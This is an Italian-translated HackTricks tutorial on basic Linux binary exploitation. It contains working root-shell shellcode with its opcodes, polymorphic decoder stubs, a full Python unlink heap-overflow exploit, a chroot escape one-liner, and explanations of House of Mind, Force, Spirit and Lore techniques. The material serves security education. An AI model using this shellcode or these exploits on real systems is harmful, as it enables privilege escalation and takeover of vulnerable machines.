hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp
2024-04-07 16:14:19 +00:00
..
arbitrary-write-2-exec GitBook: No commit message 2024-04-06 18:35:30 +00:00
common-binary-protections Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-29 21:03:31 +00:00
common-binary-protections-and-bypasses Translated ['reversing-and-exploiting/linux-exploiting-basic-esp/common- 2024-04-07 16:14:19 +00:00
format-strings Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin 2024-04-02 19:46:46 +00:00
stack-overflow Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin 2024-04-02 19:46:46 +00:00
common-exploiting-problems.md Translated ['reversing-and-exploiting/linux-exploiting-basic-esp/common- 2024-03-31 17:33:39 +00:00
elf-tricks.md Translated to Italian 2024-02-10 13:03:23 +00:00
fusion.md GitBook: No commit message 2024-04-06 18:35:30 +00:00
one-gadget.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin 2024-03-31 10:07:46 +00:00
README.md GitBook: No commit message 2024-04-06 18:35:30 +00:00

Linux Exploiting (Basic) (ITA)

Impara l'hacking su AWS da zero a ero con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

2.SHELLCODE

Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; limpiamos eax
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Ejecutar syscall

nasm -f elf assembly.asm —> Nos devuelve un .o
ld assembly.o -o shellcodeout —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con objdump
objdump -d -Mintel ./shellcodeout —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes

Comprobar que la shellcode funciona

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Per verificare che le system call vengano eseguite correttamente, è necessario compilare il programma precedente e le system call devono apparire in strace ./PROGRAMMA_COMPILATO

Quando si creano shellcode, si può utilizzare un trucco. La prima istruzione è un salto a una chiamata. La chiamata richiama il codice originale e inserisce l'EIP nello stack. Dopo l'istruzione di chiamata, abbiamo inserito la stringa necessaria, quindi con quel EIP possiamo puntare alla stringa e continuare ad eseguire il codice.

ESEMPIO TRICK (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Esempio di utilizzo dello Stack(/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Cacciatore di Uova:

Si tratta di un piccolo codice che scorre le pagine di memoria associate a un processo alla ricerca della shellcode ivi memorizzata (cerca una firma inserita nella shellcode). Utile nei casi in cui si dispone solo di uno spazio limitato per iniettare codice.

Shellcode Polimorfiche

Sono shell cifrate che contengono un piccolo codice che le decifra e salta ad esso, utilizzando il trucco di Call-Pop, questo sarebbe un esempio di cifratura di Cesare:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5. Metodi complementari

Tecnica di Murat

In Linux, tutti i programmi sono mappati a partire da 0xbfffffff.

Osservando come viene costruito lo stack di un nuovo processo in Linux, è possibile sviluppare uno sfruttamento in modo che il programma venga avviato in un ambiente in cui l'unica variabile sia la shellcode. L'indirizzo di questa variabile può quindi essere calcolato come: addr = 0xbfffffff - 4 - strlen(NOME_eseguibile_completo) - strlen(shellcode)

In questo modo si otterrebbe facilmente l'indirizzo in cui si trova la variabile di ambiente con la shellcode.

Questo è possibile grazie alla funzione execle che consente di creare un ambiente con solo le variabili di ambiente desiderate.

Format Strings to Buffer Overflows

La sprintf sposta una stringa formattata in una variabile. Pertanto, è possibile abusare della formattazione di una stringa per causare un buffer overflow nella variabile in cui viene copiato il contenuto.
Ad esempio, il payload %.44xAAAA scriverà 44B+"AAAA" nella variabile, il che potrebbe causare un buffer overflow.

Strutture __atexit

{% hint style="danger" %} Attualmente è molto raro sfruttare questo. {% endhint %}

atexit() è una funzione a cui vengono passate altre funzioni come parametri. Queste funzioni verranno eseguite al momento dell'esecuzione di un exit() o del ritorno al main.
Se è possibile modificare l'indirizzo di una di queste funzioni per puntare a una shellcode, ad esempio, si otterrà il controllo del processo, ma attualmente è più complicato.
Attualmente gli indirizzi delle funzioni da eseguire sono nascosti dietro diverse strutture e infine l'indirizzo a cui puntano non sono gli indirizzi delle funzioni, ma sono crittografati con XOR e spostamenti con una chiave casuale. Quindi attualmente questo vettore di attacco non è molto utile almeno su x86 e x64_86.
La funzione di crittografia è PTR_MANGLE. Altre architetture come m68k, mips32, mips64, aarch64, arm, hppa... non implementano la funzione di crittografia perché restituisce lo stesso valore in input. Quindi queste architetture potrebbero essere attaccabili tramite questo vettore.

setjmp() & longjmp()

{% hint style="danger" %} Attualmente è molto raro sfruttare questo. {% endhint %}

Setjmp() consente di salvare il contesto (i registri)
longjmp() consente di ripristinare il contesto.
I registri salvati sono: EBX, ESI, EDI, ESP, EIP, EBP
Il problema è che EIP e ESP vengono passati dalla funzione PTR_MANGLE, quindi le architetture vulnerabili a questo attacco sono le stesse di cui sopra.
Sono utili per il recupero degli errori o per le interruzioni.
Tuttavia, da quanto ho letto, gli altri registri non sono protetti, quindi se c'è una call ebx, call esi o call edi all'interno della funzione chiamata, è possibile prendere il controllo. Oppure potresti anche modificare EBP per modificare ESP.

VTable e VPTR in C++

Ogni classe ha una Vtable che è un array di puntatori a metodi.

Ogni oggetto di una classe ha un VPtr che è un puntatore all'array della sua classe. Il VPtr fa parte dell'intestazione di ogni oggetto, quindi se si riesce a sovrascrivere il VPtr potrebbe essere modificato per puntare a un metodo fittizio in modo che l'esecuzione di una funzione vada alla shellcode.

Misure preventive ed evasioni

Sostituzione di Libsafe

Si attiva con: LD_PRELOAD=/lib/libsafe.so.2
o
“/lib/libsave.so.2” > /etc/ld.so.preload

Le chiamate a alcune funzioni non sicure vengono intercettate e sostituite con altre sicure. Non è standardizzato. (solo per x86, non per compilazioni con -fomit-frame-pointer, non per compilazioni statiche, non tutte le funzioni vulnerabili diventano sicure e LD_PRELOAD non funziona con binari con setuid).

Spazio degli indirizzi ASCII Armored

Consiste nel caricare le librerie condivise da 0x00000000 a 0x00ffffff in modo che ci sia sempre un byte 0x00. Tuttavia, questo non ferma praticamente nessun attacco, specialmente in little endian.

ret2plt

Consiste nell'eseguire un ROP in modo che si chiami la funzione strcpy@plt (dalla plt) e si punti all'ingresso della GOT e si copi il primo byte della funzione da chiamare (system()). Successivamente si fa lo stesso puntando a GOT+1 e si copia il secondo byte di system()... Alla fine si chiama l'indirizzo salvato nella GOT che sarà system()

Jail con chroot()

debootstrap -arch=i386 hardy /home/user —> Installa un sistema di base in una directory specifica

Un amministratore può uscire da una di queste prigioni facendo: mkdir foo; chroot foo; cd ..

Strumentazione del codice

Valgrind —> Cerca errori
Memcheck
RAD (Return Address Defender)
Insure++

8 Heap Overflows: Exploits di base

Chunk assegnato

prev_size |
size | —Header
*mem | Dati

Chunk libero

prev_size |
size |
*fd | Ptr chunk successivo
*bk | Ptr chunk precedente —Header
*mem | Dati

I chunk liberi sono in una lista doppiamente collegata (bin) e non possono mai esserci due chunk liberi consecutivi (vengono uniti)

In "size" ci sono bit per indicare: se il chunk precedente è in uso, se il chunk è stato assegnato tramite mmap() e se il chunk appartiene all'arena primaria.

Quando viene liberato un chunk e uno dei chunk adiacenti è libero, questi vengono fusi tramite la macro unlink() e il nuovo chunk più grande viene passato a frontlink() per inserirlo nel bin appropriato.

unlink(){
BK = P->bk; —> Il BK del nuovo chunk è quello che aveva il chunk precedentemente libero
FD = P->fd; —> Il FD del nuovo chunk è quello che aveva il chunk precedentemente libero
FD->bk = BK; —> Il BK del chunk successivo punta al nuovo chunk
BK->fd = FD; —> Il FD del chunk precedente punta al nuovo chunk
}

Quindi, se riusciamo a modificare P->bk con l'indirizzo di una shellcode e P->fd con l'indirizzo di un'entrata nella GOT o DTORS meno 12, si ottiene:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

E così, al termine del programma, la shellcode viene eseguita.

Inoltre, la quarta istruzione di unlink() scrive qualcosa e la shellcode deve essere preparata per questo:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Questo provoca la scrittura di 4 byte a partire dall'8° byte della shellcode, quindi la prima istruzione della shellcode deve essere un jmp per saltare questo e passare a dei nop che portano al resto della shellcode.

Pertanto, l'exploit viene creato:

Nel buffer1 inseriamo la shellcode iniziando con un jmp in modo che cada nei nop o nel resto della shellcode.

Dopo la shell code inseriamo del padding fino a raggiungere il campo prev_size e size del chunk successivo. In questi punti inseriamo 0xfffffff0 (in modo che il prev_size venga sovrascritto per indicare che è libero) e "-4" (0xfffffffc) nel size (per far credere al terzo chunk che il secondo è libero quando in realtà va al prev_size modificato che dirà che è libero) -> Così quando free() controlla, andrà al size del terzo ma in realtà andrà al secondo - 4 e penserà che il secondo chunk sia libero. E quindi chiamerà unlink(). Al chiamare unlink() userà i primi dati del 2º chunk come P->fd, dove verrà inserito l'indirizzo che si desidera sovrascrivere - 12 (poiché in FD->bk sommerà 12 all'indirizzo salvato in FD). E in quell'indirizzo verrà inserito il secondo indirizzo trovato nel 2º chunk, che ci interesserà che sia l'indirizzo della shellcode (P->bk falso).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes di riempimento

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #È importante che il bit che indica che il chunk precedente è libero sia 1

fake_size = pack("<I”, 0xfffffffc) #-4, in modo che pensi che il "size" del 3º chunk sia 4 byte indietro (punta a prev_size) perché è lì che controlla se il 2º chunk è libero

addr_sc = pack("<I", 0x0804a008 + 8) #Nel payload all'inizio metteremo 8 byte di riempimento

got_free = pack("<I", 0x08048300 - 12) #Indirizzo di free() nella plt-12 (sarà sovrascritto per eseguire la shellcode la seconda volta che viene chiamato free)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Come detto, il payload inizia con 8 byte di riempimento perché sì

payload += prev_size + fake_size + got_free + addr_sc #Si modifica il 2º chunk, got_free punta dove salveremo l'indirizzo addr_sc + 12

os.system("./8.3.o " + payload)

unset() liberando in senso inverso (wargame)

Stiamo controllando 3 chunk consecutivi e vengono liberati in ordine inverso rispetto alla prenotazione.

In questo caso:

Nel chunk c viene inserita la shellcode

Il chunk a viene utilizzato per sovrascrivere il b in modo che il size abbia il bit PREV_INUSE disattivato in modo che pensi che il chunk a sia libero.

Inoltre, viene sovrascritto nell'intestazione b il size in modo che valga -4.

Quindi, il programma penserà che "a" sia libero e in un bin, quindi chiamerà unlink() per disconnetterlo. Tuttavia, poiché l'intestazione PREV_SIZE vale -4, penserà che il chunk "a" inizi effettivamente in b+4. Cioè, eseguirà un unlink() su un chunk che inizia in b+4, quindi in b+12 ci sarà il puntatore "fd" e in b+16 ci sarà il puntatore "bk".

In questo modo, se mettiamo l'indirizzo della shellcode in bk e l'indirizzo della funzione "puts()" -12 in fd, otteniamo il nostro payload.

Tecnica di Frontlink

Si chiama frontlink quando viene liberato qualcosa e nessuno dei suoi chunk adiacenti è libero, non viene chiamato unlink() ma viene chiamato direttamente frontlink().

Vulnerabilità utile quando il malloc attaccato non viene mai liberato (free()).

Richiede:

Un buffer che può essere sovrascritto con la funzione di input dei dati

Un buffer adiacente a questo che deve essere liberato e il cui campo fd dell'intestazione verrà modificato grazie allo sforamento del buffer precedente

Un buffer da liberare con una dimensione maggiore di 512 ma inferiore al buffer precedente

Un buffer dichiarato prima del passaggio 3 che consente di sovrascrivere il prev_size di questo

In questo modo, sovrapponendo due malloc in modo incontrollato e uno in modo controllato ma che viene liberato solo uno, possiamo creare un exploit.

Vulnerabilità double free()

Se free() viene chiamato due volte con lo stesso puntatore, ci sono due bin che puntano allo stesso indirizzo.

Se si desidera riutilizzare uno, non ci sono problemi. Se si desidera utilizzare un altro, verrà assegnato lo stesso spazio, quindi i puntatori "fd" e "bk" saranno falsificati con i dati che scriverà la prenotazione precedente.

After free()

Un puntatore precedentemente liberato viene utilizzato di nuovo senza controllo.

8 Heap Overflows: Exploits avanzati

Le tecniche di Unlink() e FrontLink() sono state eliminate modificando la funzione unlink().

The house of mind

È necessaria solo una chiamata a free() per provocare l'esecuzione di codice arbitrario. È importante trovare un secondo chunk che può essere sovrascritto da uno precedente e liberato.

Una chiamata a free() comporta la chiamata a public_fREe(mem), che fa:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Restituisce un puntatore all'indirizzo in cui inizia il chunk (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

In [1] controlla il campo size del bit NON_MAIN_ARENA, che può essere alterato in modo che il controllo restituisca true ed esegua heap_for_ptr() che effettua un and a "mem" ponendo a 0 i 2,5 byte meno significativi (nel nostro caso da 0x0804a000 a 0x08000000) e accede a 0x08000000->ar_ptr (come se fosse un struct heap_info)

In questo modo, se possiamo controllare un chunk ad esempio in 0x0804a000 e verrà liberato un chunk in 0x081002a0 possiamo raggiungere l'indirizzo 0x08100000 e scrivere ciò che vogliamo, ad esempio 0x0804a000. Quando verrà liberato questo secondo chunk, troverà che heap_for_ptr(ptr)->ar_ptr restituisce ciò che abbiamo scritto in 0x08100000 (poiché si applica a 0x081002a0 l'and che abbiamo visto prima e da lì si ottiene il valore dei primi 4 byte, l'ar_ptr)

In questo modo viene chiamato _int_free(ar_ptr, mem), cioè _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Come abbiamo visto prima, possiamo controllare il valore di av, poiché è ciò che scriviamo nel chunk che verrà liberato.

Come è definito unsorted_chunks, sappiamo che:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Pertanto, se in av->bins[2] scriviamo il valore di __DTOR_END__-12 nell'ultima istruzione verrà scritto in __DTOR_END__ l'indirizzo del secondo chunk.

Cioè, nel primo chunk dobbiamo mettere all'inizio molte volte l'indirizzo di __DTOR_END__-12 perché da lì av->bins[2] lo prenderà

Nell'indirizzo in cui cade l'indirizzo del secondo chunk con gli ultimi 5 zeri, dobbiamo scrivere l'indirizzo di questo primo chunk in modo che heap_for_ptr() pensi che l'ar_ptr sia all'inizio del primo chunk e prenda da lì av->bins[2] Nel secondo pezzo e grazie al primo sovrascriviamo prev_size con un jump 0x0c e size con qualcosa per attivare -> NON_MAIN_ARENA

Successivamente, nel pezzo 2 inseriamo molti nops e infine lo shellcode

In questo modo verrà chiamato _int_free(TROZO1, TROZO2) e seguirà le istruzioni per scrivere in __DTOR_END__ l'indirizzo del prev_size di TROZO2 che salterà allo shellcode.

Per applicare questa tecnica sono necessari alcuni requisiti aggiuntivi che complicano un po' il payload.

Questa tecnica non è più applicabile poiché è stato applicato quasi lo stesso patch di unlink. Si confrontano se il nuovo sito a cui si punta sta puntando anche a esso.

Fastbin

È una variante di The house of mind

ci interessa eseguire il codice successivo che si raggiunge dopo la prima verifica della funzione _int_free()

fb = &(av->fastbins[fastbin_index(size)] —> Essendo fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

In questo modo, se viene impostato su "fb" l'indirizzo di una funzione nella GOT, in questo indirizzo verrà inserito l'indirizzo del pezzo sovrascritto. Per fare ciò sarà necessario che l'arena sia vicina agli indirizzi di dtors. Più precisamente, av->max_fast deve essere all'indirizzo che andremo a sovrascrivere.

Poiché con The House of Mind abbiamo visto che controllavamo la posizione di av.

Quindi se nel campo size viene inserito un valore di 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() restituirà fastbins[-1], che punterà a av->max_fast

In questo caso av->max_fast sarà l'indirizzo che verrà sovrascritto (non a cui punta, ma quella posizione verrà sovrascritta).

Inoltre, deve essere soddisfatto il requisito che il pezzo adiacente a quello liberato deve essere maggiore di 8 -> Dato che abbiamo detto che la dimensione del pezzo liberato è 8, in questo falso pezzo dobbiamo solo inserire una dimensione maggiore di 8 (inoltre, poiché lo shellcode sarà nel pezzo liberato, all'inizio dovremo inserire un jmp che vada a cadere in nops).

Inoltre, lo stesso falso pezzo deve essere più piccolo di av->system_mem. av->system_mem si trova a 1848 byte di distanza.

A causa dei nulli di _DTOR_END_ e dei pochi indirizzi nella GOT, nessuno di questi indirizzi di queste sezioni è adatto per essere sovrascritto, quindi vediamo come applicare fastbin per attaccare lo stack.

Un altro modo per attaccare è di reindirizzare av verso lo stack.

Se modifichiamo la dimensione in modo che sia 16 anziché 8 allora: fastbin_index() restituirà fastbins[0] e possiamo usare questo per sovrascrivere lo stack.

Per fare ciò non devono esserci canary o valori strani nello stack, infatti dobbiamo trovarci qui: 4byte nulli + EBP + RET

I 4 byte nulli sono necessari affinché av sia a quell'indirizzo e il primo elemento di un av sia il mutex che deve valere 0.

av->max_fast sarà l'EBP e sarà un valore che ci permetterà di saltare le restrizioni.

In av->fastbins[0] verrà sovrascritto con l'indirizzo di p e sarà il RET, quindi si salterà allo shellcode.

Inoltre, in av->system_mem (1484 byte sopra la posizione nello stack) ci saranno abbastanza spazzatura che ci permetterà di saltare il controllo che viene eseguito.

Inoltre, deve essere soddisfatto il requisito che il pezzo adiacente a quello liberato deve essere maggiore di 8 -> Dato che abbiamo detto che la dimensione del pezzo liberato è 16, in questo falso pezzo dobbiamo solo inserire una dimensione maggiore di 8 (inoltre, poiché lo shellcode sarà nel pezzo liberato, all'inizio dovremo inserire un jmp che vada a cadere in nops che vanno dopo il campo size del nuovo falso pezzo).

The House of Spirit

In questo caso cerchiamo di avere un puntatore a un malloc che possa essere modificato dall'attaccante (ad esempio, che il puntatore sia nello stack sotto un possibile overflow a una variabile).

In questo modo, potremmo far puntare questo puntatore dove vogliamo. Tuttavia, non qualsiasi posizione è valida, la dimensione del pezzo falso deve essere inferiore a av->max_fast e più specificamente uguale alla dimensione richiesta in una futura chiamata a malloc()+8. Pertanto, se sappiamo che dopo questo puntatore vulnerabile viene chiamato malloc(40), la dimensione del pezzo falso deve essere uguale a 48.

Se ad esempio il programma chiede all'utente un numero potremmo inserire 48 e far puntare il puntatore di malloc modificabile ai successivi 4 byte (che potrebbero appartenere all'EBP con fortuna, così il 48 rimane dietro, come se fosse l'intestazione size). Inoltre, l'indirizzo ptr-4+48 deve soddisfare diverse condizioni (essendo in questo caso ptr=EBP), cioè, 8 < ptr-4+48 < av->system_mem.

Se ciò viene soddisfatto, quando verrà chiamato il successivo malloc che abbiamo detto essere malloc(40), verrà assegnato come indirizzo l'indirizzo dell'EBP. Nel caso in cui l'attaccante possa anche controllare ciò che viene scritto in questo malloc, può sovrascrivere sia l'EBP che l'EIP con l'indirizzo desiderato.

Penso che ciò sia dovuto al fatto che quando verrà liberato free() salverà che nell'indirizzo che punta all'EBP dello stack c'è un pezzo di dimensioni perfette per il nuovo malloc() che si vuole riservare, quindi assegnerà quell'indirizzo.

The House of Force

È necessario:

  • Un overflow a un pezzo che permetta di sovrascrivere il wilderness
  • Una chiamata a malloc() con la dimensione definita dall'utente
  • Una chiamata a malloc() i cui dati possono essere definiti dall'utente

La prima cosa da fare è sovrascrivere la dimensione del pezzo wilderness con un valore molto grande (0xffffffff), quindi qualsiasi richiesta di memoria sufficientemente grande verrà gestita in _int_malloc() senza la necessità di espandere l'heap

La seconda è modificare av->top in modo che punti a una zona di memoria sotto il controllo dell'attaccante, come lo stack. In av->top verrà inserito &EIP - 8.

Dobbiamo sovrascrivere av->top in modo che punti alla zona di memoria sotto il controllo dell'attaccante:

vittima = av->top;

remainder = chunck_at_offset(vittima, nb);

av->top = remainder;

La vittima raccoglie il valore dell'indirizzo del pezzo wilderness attuale (l'attuale av->top) e remainder è esattamente la somma di quell'indirizzo più la quantità di byte richiesti da malloc(). Quindi se &EIP-8 è in 0xbffff224 e av->top contiene 0x080c2788, allora la quantità che dobbiamo riservare nel malloc controllato affinché av->top punti a $EIP-8 per il prossimo malloc() sarà:

0xbffff224 - 0x080c2788 = 3086207644.

In questo modo verrà salvato in av->top il valore modificato e il prossimo malloc punterà all'EIP e potrà sovrascriverlo.

È importante sapere che la dimensione del nuovo pezzo wilderness sia più grande della richiesta fatta dall'ultimo malloc(). Cioè, se il wilderness punta a &EIP-8, la dimensione sarà esattamente nel campo EBP dello stack.

The House of Lore

Corruzione SmallBin

I pezzi liberati vengono inseriti nel bin in base alla loro dimensione. Ma prima di essere inseriti vengono conservati in unsorted bins. Quando un pezzo viene liberato non viene immediatamente inserito nel suo bin ma rimane in unsorted bins. Successivamente, se viene riservato un nuovo pezzo e il pezzo liberato precedente può essere utile, viene restituito, ma se viene riservato un pezzo più grande, il pezzo liberato in unsorted bins viene inserito nel suo bin appropriato.

Per raggiungere il codice vulnerabile, la richiesta di memoria deve essere maggiore di av->max_fast (di solito 72) e inferiore a MIN_LARGE_SIZE (512). Se nel bin c'è un pezzo della dimensione richiesta, viene restituito dopo essere stato slegato:

bck = victim->bk; Puntatore al pezzo precedente, unica informazione che possiamo alterare.

bin->bk = bck; Il penultimo pezzo diventa l'ultimo, se bck punta allo stack al pezzo successivo riservato, verrà assegnato questo indirizzo.

bck->fd = bin; Si chiude la lista facendo in modo che punti a bin.

È necessario:

Prenotare due malloc, in modo che il primo possa essere sovraffollato dopo che il secondo è stato liberato e inserito nel suo bin (ossia, è stato prenotato un malloc superiore al secondo pezzo prima di fare l'overflow)

Il malloc prenotato a cui viene assegnato l'indirizzo scelto dall'attaccante deve essere controllato dall'attaccante.

L'obiettivo è il seguente, se possiamo fare un overflow a un heap che ha sotto di sé un pezzo già liberato e nel suo bin, possiamo alterare il suo puntatore bk. Se alteriamo il suo puntatore bk e questo pezzo diventa il primo della lista del bin e viene prenotato, il bin verrà ingannato e gli verrà detto che l'ultimo pezzo della lista (quello successivo da offrire) si trova all'indirizzo falso che abbiamo inserito (allo stack o alla GOT, ad esempio). Quindi, se viene prenotato un altro pezzo e l'attaccante ha permessi su di esso, verrà assegnato un pezzo nella posizione desiderata e potrà scriverci.

Dopo aver liberato il pezzo modificato, è necessario prenotare un pezzo più grande di quello liberato, in modo che il pezzo modificato esca dai bin non ordinati e venga inserito nel suo bin.

Una volta nel suo bin, è il momento di modificare il puntatore bk tramite l'overflow in modo che punti all'indirizzo che vogliamo sovrascrivere.

Quindi il bin dovrà aspettare il suo turno affinché venga chiamato malloc() abbastanza volte da utilizzare nuovamente il bin modificato e ingannare il bin facendogli credere che il pezzo successivo si trovi all'indirizzo falso. E successivamente verrà dato il pezzo che ci interessa.

Per eseguire la vulnerabilità il prima possibile, l'ideale sarebbe: prenotare il pezzo vulnerabile, prenotare il pezzo da modificare, liberare questo pezzo, prenotare un pezzo più grande di quello da modificare, modificare il pezzo (vulnerabilità), prenotare un pezzo delle stesse dimensioni di quello violato e prenotare un secondo pezzo delle stesse dimensioni e questo sarà quello che punterà all'indirizzo scelto.

Per proteggere questo attacco viene utilizzato il tipico controllo che il pezzo "non" è falso: si controlla se bck->fd sta puntando a victim. Cioè, nel nostro caso, se il puntatore fd* del pezzo falso puntato nello stack sta puntando a victim. Per superare questa protezione, l'attaccante dovrebbe essere in grado di scrivere in qualche modo (probabilmente nello stack) nell'indirizzo corretto l'indirizzo di victim. In modo che sembri un pezzo vero.

Corruzione LargeBin

Sono necessari gli stessi requisiti di prima e alcuni in più, inoltre i pezzi prenotati devono essere più grandi di 512.

L'attacco è simile a quello precedente, cioè bisogna modificare il puntatore bk e sono necessarie tutte quelle chiamate a malloc(), ma inoltre bisogna modificare la dimensione del pezzo modificato in modo che quella dimensione - nb sia < MINSIZE.

Ad esempio, si farà in modo che la dimensione sia 1552 in modo che 1552 - 1544 = 8 < MINSIZE (la sottrazione non può essere negativa perché si confronta con un unsigned)

Inoltre è stato introdotto un patch per renderlo ancora più complicato.

Heap Spraying

Consiste essenzialmente nel prenotare tutta la memoria possibile per gli heap e riempirli con un tappetino di nops terminato da una shellcode. Inoltre, come tappetino si utilizza 0x0c. Si cercherà di saltare all'indirizzo 0x0c0c0c0c e quindi se si sovrascrive un qualche indirizzo con questo tappetino, si salterà lì. Fondamentalmente la tattica è prenotare il massimo possibile per vedere se si sovrascrive qualche puntatore e saltare a 0x0c0c0c0c sperando che ci siano nops lì.

Heap Feng Shui

Consiste nel cementare la memoria mediante prenotazioni e liberazioni in modo che ci siano pezzi prenotati tra pezzi liberi. Il buffer da sovraccaricare sarà in uno di questi pezzi.

Corsi interessanti

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: